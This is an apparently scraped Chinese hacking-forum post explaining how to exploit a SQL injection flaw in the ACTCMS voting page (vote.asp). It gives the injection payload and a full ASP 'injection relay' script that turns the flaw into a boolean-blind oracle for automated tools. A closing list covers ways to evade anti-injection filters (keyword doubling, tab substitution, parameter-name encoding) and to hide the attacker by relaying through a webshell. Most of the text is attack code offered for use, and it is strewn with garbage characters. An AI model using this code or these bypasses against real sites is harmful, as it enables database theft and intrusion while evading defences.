注入中转的高级应用，actcms漏洞以及其他

admin

' o7 W1 t+ K8 I, b3 \0 O$ H  t看到ninty大牛的blog的一篇文章
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
关于actcms漏洞的利用  by 3x qq:381862589
: Q- B$ r3 f. F" G+ \& @转载请注明以上
/ M% g2 _0 B; y1 X% A9 t漏洞文件：
/plus/vote/vote.asp
0 q0 {9 y  c+ Q0 n6 _8 Y/ v: x- ?代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
4 O' R! K' a- H2 c# ?) f8 j1 R1 U3 F
3 g' p) K) U- l8 G# m3 U2 _2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   

3    response.end   

4    end if   
+ J/ w2 Y' L7 T1 ^, [! o4 o
5    for i=1 to request("voted").count   

6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   

7    next   
* t( \6 |( Y  U& c' u/ d" O
  Y. e+ n2 x5 @; o; P" l5 \8....   
, E4 S5 ]9 x3 Y$ V7 Q2 m4 X" q
1 w9 D$ j% ?- f( c4 O9response.Redirect "index.asp?id="&id&""   
投票结束回跳转回index.asp这个投票结果页面
# u* a/ ]/ f2 ~9 r% ~2 Z. C如果投票成功票数加1
            失败票数不变
如图：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
" N0 I& b5 v8 n- D" t7 ^, G
2009-12-27 13:20
; |) s5 r+ I) v$ ^' C4 P$ c
, n3 T% E' o7 g利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了
8 ~6 c( ?9 N# F/ Z
/ G; M  F- `! u% X  G- b( a4 z/ v& O本帖隐藏的内容需要回复才可以浏览
我们用注入中转来实现这个注入具体代码如下：
先用寂寞的刺猬大牛的注入中转生成jmget.asp
注入地址：http://localhost/actcms/plus/vote/vote.asp
$ @* x; Z0 z3 [6 q) s注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项

然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%
9 l: E$ n9 [' ?
  c- L1 ]9 B1 w; A6 }2 H$ N7 P' h' K02JmdcwName=request("jmdcw")

7 k$ W, B1 H/ m" T- |# {* b03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
7 @+ [6 k* X5 u5 ~  A, ~
9 P+ J1 L" a/ ?04JmStr="id=1&voted=-1 or 1="&JmdcwName

05JmStr=URLEncoding(JmStr)
5 z4 }& n' G. ]9 Y% Z" j( u
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"

07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"

2 B. \) ?& V$ ?4 A, M08testurl=testurl & "?" & JmStr
4 Q- R* Q7 {# S. i
09JMUrl=JMUrl & "?" & JmStr

  X- h+ F! H8 Q6 X10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
6 @( z) o+ w  u, _+ V* k8 L( {
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"

6 p2 s8 W6 ?8 H+ O1 U12JmCok=replace(JmCok,chr(32),"%20")  

1 \7 O4 l* Y2 E  c, B13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数

  K$ y7 H+ Z- a2 i+ D% ~$ T14  

' B1 d1 M0 B# o$ h0 v' O; U: [9 I15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票

16  
; h, l8 G8 Y# p  S% ]
0 L4 F) O# ^& h3 p/ F. Q17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录

& q& _" O( \9 F2 B3 J( m4 x8 y18response.write test1&""&test2&""
, Y0 N) y$ v! ~  c8 E& V
19  
: n3 ]6 G! G. V2 {
20if test1=test2 then '如前后记录相等，表示失败
+ E$ H" \' q! [. G6 p! @
0 j1 a' ]( F8 Y1 {% e+ g: t3 ?% q4 @21  response.write "failed"
5 q2 F1 L  b4 h4 T1 G
- a: g: n+ D* ^' q" U22else
" J: I4 e% H" B2 X! |
8 c7 T+ M& C! x  k! F' H23  response.write "succeed"

& X# S+ P. b+ n: n24end if  

( Q" e9 _# Q+ u% y25  

* c. i" b7 |+ ^: k. N4 b7 {$ C3 V/ x26response.write "by 3x"

27  
6 P  i! _8 U8 d  |1 \1 D, _$ ]
28  

8 y( S( L3 A9 E# Q+ Z1 R3 \29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
* s* p! ~& l7 B
30Dim Http
4 o9 s8 B* z+ l4 @3 C! b
0 V2 E4 X5 @: K" q* G31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")

/ M$ C3 ~; N/ ]4 k1 v32With Http

33  
" [! F; ^  D: W7 S& ?9 E; j
34.Open "GET",PostUrl,False

' b( a! X" {; z, a8 N35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"

$ L5 e% X/ B6 x3 z2 k36.SetRequestHeader "Referer",PostRef
: s0 l. T  x/ a; t/ G  K
( N1 }/ g* B: o0 ^0 |: s/ A( e1 [37.SetRequestHeader "Cookie",PostCok

38.Send ()
, v. o. x6 n: h; Q; w
: E: t% J. M9 `% n! u$ K5 o5 i39PostData = .ResponseBody
( |/ w: m4 G( z  m1 m: w5 Z
; x6 I  q  k6 I) R40End With
5 }$ J$ v( f  A) J. R- r
* S+ J0 [! ~+ t( Q" k/ O41Set Http = Nothing

42PostData =bytes2BSTR(PostData)

7 ]4 g) G/ g* P- u  ?43End Function
$ K% H) @2 `6 F) {# {  Q) j
44  
7 `, D& S; q, i( v3 e, j8 n
9 C  w# V3 C# _, _; M7 K. {# \, f, [: o45  
  @& W& V( _9 _# d, e4 q- W
/ [2 t' x6 e# g/ ?2 p4 T4 w- r46Function bytes2BSTR(vIn)

47Dim strReturn
0 U5 }8 I  L* N) s% g2 \" w6 G
% V6 Z) y# n2 @3 V% `48Dim I, ThisCharCode, NextCharCode
) H2 S/ Q4 ^# D2 x
49strReturn = ""

50For I = 1 To LenB(vIn)

51ThisCharCode = AscB(MidB(vIn, I, 1))

) D0 }. Q  g9 N9 K52If ThisCharCode < &H80 Then
0 A, O: D7 q8 @8 Q, ]0 {3 ~) e
53strReturn = strReturn & Chr(ThisCharCode)

54Else

, p: @4 ?  n. a0 k! Z0 l9 c55NextCharCode = AscB(MidB(vIn, I + 1, 1))
, S9 A2 u1 `& d+ X. E/ X( p- G9 ~* a
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
! j$ F1 u8 K3 B* P
57I = I + 1

58End If

4 y' v' P/ b4 h' N59Next
% p1 n+ O' T2 g: a6 W' f
60bytes2BSTR = strReturn
! y8 C! o' p( j$ I0 W' _
61End Function
) ~6 R. c; E1 a" u0 b6 D
62  
( ]: ?) H" z/ C6 c; |; b
63Function URLEncoding(vstrin)  

64strReturn=""
/ n8 i' w$ k" z! o
65Dim i

7 K3 ]% m9 H, W( P' f+ G& j7 @, o66For i=1 To Len(vstrin)
0 C) J( S1 U4 \% t
67ThisChr=Mid(vstrin,i,1)

68if Abs(Asc(ThisChr))< &HFF Then
" a5 b: u& B% `( p: g& N
69strReturn=strReturn & ThisChr

6 a' C8 r2 Y4 {$ q! g) x70Else
5 W) F; W' o3 X* j2 I4 k% C
71InnerCode=Asc(ThisChr)

72If InnerCode<0 Then

73InnerCode=InnerCode + &H10000

1 i0 ?0 B! [4 A74End If

( }( P& t6 q# C/ n  G# p5 R! g4 A) Y75Hight1=(InnerCode And &HFF00) \&HFF
% u7 y9 `4 q, a' G9 z2 j
# X3 m0 V" K) Q' N6 j76Low1=InnerCode And &HFF

6 |" u" l+ i. s# b3 ~7 M2 p" L77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)

78End if

7 |- r- ~7 ~7 J+ s, ]79Next

' f. E. h& h7 v% x5 s' K+ W' k' S80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20

# I2 f! Q! a, T. }81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
9 T$ P, A- k3 C3 F  Z& G' p2 M/ y% I% S
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码

% g! ^- Y' ]9 m. m9 d' e* r83URLEncoding=strReturn
4 n) r" V1 y* }* U) S4 u* E- y
: `3 V, C5 a3 V" P9 c! l2 J- Z# v8 W% F84End Function
0 U  j3 H' P9 F, p
( Q1 H2 h: Z) D/ Z! M6 c' d, ]6 ~: D- `85  

86function getSt(body)
( |9 r/ }& L4 n% e. o! I/ L1 X
/ H1 R/ ]: `! P$ n; ?- Z6 v$ Q87  startpot=instr(body,"投票人数：")+len("投票人数：")
* B+ r7 x3 @4 P( v% x) B
88  endpot=instr(startpot,body," ")
1 `* _/ I+ O# n% @
89  getSt=mid(body,startpot,endpot-startpot)
. O1 Q6 P/ m9 \
90end function
( Q& f8 ~  j2 h9 _: l
91%>
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
% [6 u* T9 t% N: \% H& N2 @, H测试下效果：
投票成功：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)

* N  X8 Q2 U: Y8 U  a2009-12-27 13:29
# z2 \. W4 T, A! |7 ~; s& \/ g投票失败
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)

9 h, J* `/ n- u2 v' x& O* W2009-12-27 13:29
-------------------------------------------------------------------------------
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
- B9 A/ L' S+ o+ N很抱歉。。。只能用单线程工具去注入。。。。。
  m6 o  t8 I. R0 e" f7 o( p所以失败。。。不好意思。。。
-------------------------------------------------------------------------------
6 N9 ~* |  g# x+ t/ r6 `' a; I( ^
8 M+ q) W! p3 C) [% M- e- B( i注入中转的一些其他应用
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
2.post注入转成get型的注入，方便我们使用工具来跑
3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过
, S1 A& g' @7 u, O9 x0 [3 G